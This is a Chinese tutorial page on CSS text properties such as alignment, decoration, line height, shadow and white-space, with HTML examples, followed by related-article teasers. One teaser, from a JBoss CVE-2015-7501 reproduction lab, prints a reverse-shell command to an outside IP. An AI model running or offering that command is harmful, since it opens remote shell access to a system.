CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示:
- text-align:设置文本的水平对齐方式;
- text-decoration:设置文本的装饰;
- text-transform:设置文本中英文的大小写转换方式;
- text-indent:设置文本的缩进方式;
- line-height:设置行高;
- letter-spacing:设置字符间距;
- word-spacing:设置单词与单词之间的间距(对中文无效);
- text-shadow:设置文本阴影;
- vertical-align:设置文本的垂直对齐方式;
- white-space:设置文本中空白的处理方式;
- direction:设置文本方向。
1. text-align
text-align 属性用来设置元素中文本的水平对齐方式,属性的可选值如下:
值 | 描述 |
---|---|
left | 默认值,左对齐 |
right | 右对齐 |
center | 居中对齐 |
justify | 两端对齐 |
inherit | 从父元素继承 text-align 属性的值 |
【示例】使用 text-align 属性设置文本的水平对齐方式:
<!DOCTYPE html><html><head><style>p{border: 1px solid black; /*为了能更直观的体现出文本的对齐方式,这里给p标签设置一个边框*/}.text1 {text-align: left;}.text2 {text-align: right;}.text3 {text-align: center;}</style></head><body><p class="text1">左对齐</p><p class="text2">右对齐</p><p class="text3">居中对齐</p></body></html>
运行结果如下图所示:
图:text-align 属性演示
当 text-align 设置为 justify
时,将拉伸每一行文本(增加字符之间的间距),以使每行文本具有相同的宽度(最后一行除外),这种对齐方式通常用于出版物,例如杂志和报纸。需要特别注意的是,如果元素中的文本不足一行时,是无法实现两端对齐的(默认会以左对齐的效果显示)。只有当元素中的文本足够长,并且在元素中发生了自动换行时,才会将除最后一行以外的文本实现两端对齐。如下例所示:
<!DOCTYPE html><html><head><style>p{border: 1px solid black; /*为了能更直观的体现出文本的对齐方式,这里给p标签设置一个边框*/}.text {width: 125px;text-align: justify;}</style></head><body><p class="text">两端对齐、两端对齐</p></body></html>
运行结果如下图所示:
图:两端对齐演示
2. text-decoration
text-decoration 属性用于设置或删除文本的装饰,最常用的做法就是使用 text-decoration 属性来删除<a>
标签的默认下划线。当然了,使用 text-decoration 属性也可以在需要的地方为元素中的文本添加一些装饰,达到突出显示的效果。
text-decoration 属性的可选值如下:
值 | 描述 |
---|---|
none | 默认值,标准文本,没有额外装饰,可以用来删除已有的文本装饰 |
underline | 在文本下方添加一条下滑线 |
overline | 在文本上方添加一条上滑线 |
line-through | 在文本的中间定义一条横向贯穿文本的线(类似于删除线) |
blink | 定义闪烁的文本(目前主流浏览器不再支持) |
inherit | 从父元素继承 text-decoration 属性的值 |
【示例】使用 text-decoration 属性为文本添加装饰:
<!DOCTYPE html><html><head><style>.none {text-decoration: none;}.underline {text-decoration: underline;}.overline {text-decoration: overline;}.line-through {text-decoration: line-through;}</style></head><body><p class="none">无装饰文字</p><p class="underline">带下划线文字</p><p class="overline">带上划线文字</p><p class="line-through">带贯穿线文字</p></body></html>
运行结果如下图所示:
图:text-decoration 属性演示
3. text-transform
text-transform
属性用来控制文本中英文字母的大小写,通过该属性您可以在不修改原文的基础上,将文本中的英文统一更改为小写字母、大写字母或者首字母大写的形式。
text-transform 属性的可选值如下:
值 | 描述 |
---|---|
none | 默认值,以原文显示,对文本中的英文不做更改 |
capitalize | 将文本中的每个单词更改为以大写字母开头的形式 |
uppercase | 将文本中的英文字母全部更改为大写 |
lowercase | 将文本中的英文字母全部更改为小写 |
inherit | 从父元素继承 text-transform 属性的值 |
【示例】使用 text-transform 定义文本中英文的大小写:
<!DOCTYPE html><html><head><style>.none {text-transform: none;}.uppercase {text-transform: uppercase;}.lowercase {text-transform: lowercase;}.capitalize {text-transform: capitalize;}</style></head><body><p>原文: text-transform  <span class="none">转换后:text-transform</span></p><p>原文: text-transform  <span class="uppercase">转换后:text-transform</span></p><p>原文: TEXT-TRANSFROM  <span class="lowercase">转换后:text-transform</span></p><p>原文: text-transform  <span class="capitalize">转换后:text-transform</span></p></body></html>
运行结果如下图所示:
图:text-transform 属性演示
4. text-indent
text-indent 属性用来为元素中的文本添加首行缩进的效果,属性的可选值如下:
值 | 描述 |
---|---|
length | 以固定的值加单位的形式(例如 2em)定义缩进距离,默认值为 0 |
% | 以基于父元素宽度的百分比来定义缩进距离 |
inherit | 从父元素继承 text-indent 属性的值 |
提示:不论是使用具体的值还是使用百分比的形式,都可以设置为负值,但这么做可能会造成文本内容溢出元素区域。
【示例】使用 text-indent 为文本添加首行缩进效果:
<!DOCTYPE html><html><head><style>p {border: 1px solid #ccc;text-indent:2em;}</style></head><body><p>text-indent 属性用来为元素中的文本添加首行缩进的效果,至于是从左侧还是从右侧缩进则取决于 direction 属性定义的文本方向。</p></body></html>
运行结果如下图所示:
图:text-indent 属性演示
注意:文本是从左侧还是从右侧缩进取决于 direction 属性定义的文本方向。
5. line-height
line-height 属性用来设置文本的行高,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,使用默认的行高,不对行高进行额外设置 |
number | 以具体的数字设置行高,这个数字会与当前的字体大小相乘,并将得到的值设置为行高 |
length | 以数字加单位的形式设置固定的行高 |
% | 以百分比的形式设置基于当前字体尺寸百分比的行高 |
inherit | 从父元素继承 line-height 属性的值 |
【示例】使用 line-height 为文本设置行高:
<!DOCTYPE html><html><head><style>p.small {line-height: 0.8;}p.big {line-height: 200%;}</style></head><body><p>这是默认的标准行高<br>这是默认的标准行高<br>这是默认的标准行高<br></p><p class="small">使用数字定义一个较小的行高<br>使用数字定义一个较小的行高<br>使用数字定义一个较小的行高<br></p><p class="big">使用百分比的形式定义一个较大的行高<br>使用百分比的形式定义一个较大的行高<br>使用百分比的形式定义一个较大的行高<br></p></body></html>
运行结果如下图所示:
图:line-height 属性演示
6. letter-spacing
letter-spacing 属性用来设置字符之间的间距,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,表示字符之间没有额外的间距 |
length | 以数值加单位的形式设置字符之间的固定间距(允许使用负值) |
inherit | 从父元素继承 letter-spacing 属性的值 |
【示例】使用 letter-spacing 属性设置字符之间的间距:
<!DOCTYPE html><html><head><style>p {letter-spacing: 2px;}</style></head><body><p>letter-spacing 属性用来设置字符之间的间距<br>letter-spacing 属性用来设置字符之间的间距<br>letter-spacing 属性用来设置字符之间的间距<br></p></body></html>
运行结果如下图所示:
图:letter-spacing 属性演示
7. word-spacing
word-spacing 属性用来设置单词与单词之间的间距,但对中文无效,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,表示单词与单词之间没有额外的间距 |
length | 以数值加单位的形式设置单词与单词之间的固定间距(允许使用负值) |
inherit | 从父元素继承 word-spacing 属性的值 |
【示例】使用 word-spacing 属性设置字符之间的间距:
<!DOCTYPE html><html><head><style>p {word-spacing: 2em;}</style></head><body><p>word-spacing 属性用来设置单词与单词之间的间距,但对中文无效<br>word-spacing 属性用来设置单词与单词之间的间距,但对中文无效<br>word-spacing 属性用来设置单词与单词之间的间距,但对中文无效<br></p></body></html>
运行结果如下图所示:
图:word-spacing 属性演示
8. text-shadow
text-shadow 属性用来为文本添加阴影及模糊效果,属性的语法格式如下:
text-shadow: h-shadow v-shadow blur color;
语法说明如下:
- h-shadow:必填值,设置阴影的水平位置,允许为负值;
- v-shadow:必填值,设置阴影的垂直位置,允许为负值;
- blur:可选值,设置模糊的距离;
- color:可选值,设置阴影的颜色。
注意:text-shadow 属性可以设置一个或多个阴影效果,只需要将每组的值使用逗号,
分隔即可(类似于 background 属性的用法)。
【示例】使用 text-shadow 属性为文本设置阴影效果:
<!DOCTYPE html><html><head><style>p {text-shadow: 2px 15px red,0px -15px 5px blue;}</style></head><body><p>text-shadow 属性可以为文本添加阴影和模糊效果</p></body></html>
运行结果如下图所示:
图:text-shadow 属性演示
9. vertical-align
vertical-align 属性用来定义元素内文本的垂直对齐方式,属性的可选值如下:
值 | 描述 |
---|---|
baseline | 默认值,将元素的基线与父元素的基线对齐 |
sub | 下标对齐,将元素的基线相对于父元素的基线降低 |
super | 上标对齐,将元素的基线相对于父元素的基线升高 |
top | 顶部对齐,将元素行内框的顶端与行框的顶端对齐 |
text-top | 文本顶部对齐,把元素的顶端与父元素字体的顶端对齐 |
middle | 居中对齐,通常使用在图片上,将图片垂直方向的中线与文本的中线(文字元素行内框的中线)对齐 |
bottom | 底部对齐,将元素行内框的顶端与行框的底端对齐 |
text-bottom | 文本底部对齐,是将元素行内框的底端与行框的底线对齐 |
length | 以数字加单位的形式设置元素基线距离父元素基线的距离(可以为负值) |
% | 使用 “line-height” 属性的百分比值来排列此元素,允许使用负值 |
inherit | 从父元素继承 vertical-align 属性的值 |
上表中提到了基线、底线、顶线、中线等概念,它们到底指什么呢?
- 顶线:中文汉字的上边沿;
- 中线:贯穿小写英文字母 x 中间的线;
- 基线:小写英文字母 x 的下边沿;
- 底线:中文汉字的下边沿;
- 内容区:指底线与顶线包裹的区域;
- 行高:包括内容区与以内容区为基础对称拓展的空白区域,我们称之为行高,也可以认为是相邻文本行基线间的距离;
- 行距:指相邻文本行间上一个文本行底线和下一文本行顶线之间的距离;
- 行内框:是一个浏览器渲染模型中的概念,无法显示出来,但是它又确实存在,它的高度与行高相同;
- 行框:同行内框类似的概念,行框是指本行的一个虚拟的矩形框,也是浏览器渲染模式中的一个概念。行框高度等于本行内所有元素中行内框最大的值(以行高值最大的行内框为基准,其他行内框采用自己的对齐方式向基准对齐,最终计算行框的高度)。
图:基线、底线、顶线、中线、内容区、行高、行距、行内框、行框示意图
【示例】使用 vertical-align 属性为元素设置垂直对齐方式:
<!DOCTYPE html><html><head><style>img.btn {vertical-align: super;}img.top {vertical-align: text-top;}</style></head><body><p>vertical-align <img class="btn" src="./eg_cute.gif">属性用来定义元素内文本的垂直对齐方式</p><p>vertical-align <img class="top" src="./eg_cute.gif">属性用来定义元素内文本的垂直对齐方式</p></body></html>
运行结果如下图所示:
图:vertical-align 属性演示
10. white-space
white-space 属性用来设置如何处理元素内的空白,属性的可选值如下:
值 | 描述 |
---|---|
normal | 默认值,忽略文本中的空白 |
pre | 保留文本中的空白,类似于<pre> 标签的效果 |
nowrap | 文本会在一行中显示,不会自动换行,直到遇到<br> 标签为止 |
pre-wrap | 保留文本中的空白,但是正常地进行换行 |
pre-line | 合并文本中的空白,但是保留换行符 |
inherit | 从父元素继承 white-space 属性的值 |
【示例】使用 white-space 属性来处理元素内的空白:
<!DOCTYPE html><html><head><style>p {white-space: nowrap;}</style></head><body><p>white-space 属性用来设置如何处理元素内的空白 white-space 属性用来设置如何处理元素内的空白</p></body></html>
运行结果如下图所示:
图:white-space 属性演示
11. direction
direction 属性用来设置文本的方向,属性的可选值如下:
值 | 描述 |
---|---|
ltr | 默认值,文本按从左到右的方向输出 |
rtl | 文本按从右到左的方向输出 |
inherit | 从父元素继承 direction 属性的值 |
【示例】使用 direction 属性来设置文本的方向:
<!DOCTYPE html><html><head><style>.ltr {direction: ltr;}.rtl {direction: rtl;}</style></head><body><p class="ltr">direction 属性用来设置文本的方向</p><p class="rtl">direction 属性用来设置文本的方向</p></body></html>
运行结果如下图所示:
图:direction 属性演示
原文地址CSS文本格式化
相关文章:

CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性
__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...
Go语言中的Mutex实现探讨
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)
梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】
向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...

JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...
低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...
3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...
Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...

盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...

记录Mac编译Android源码踩过的坑
学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...
C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...

【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...

TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...

无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...

对WWDC 2025 Keynote 内容的预测
借助我们以往对苹果公司发展路径的深入研究经验,以及大语言模型的分析能力,我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际,我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测,聊作存档。等到明…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
Java入门学习详细版(一)
大家好,Java 学习是一个系统学习的过程,核心原则就是“理论 实践 坚持”,并且需循序渐进,不可过于着急,本篇文章推出的这份详细入门学习资料将带大家从零基础开始,逐步掌握 Java 的核心概念和编程技能。 …...

多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...

Docker 本地安装 mysql 数据库
Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ;并安装。 基础操作不再赘述。 打开 macOS 终端,开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...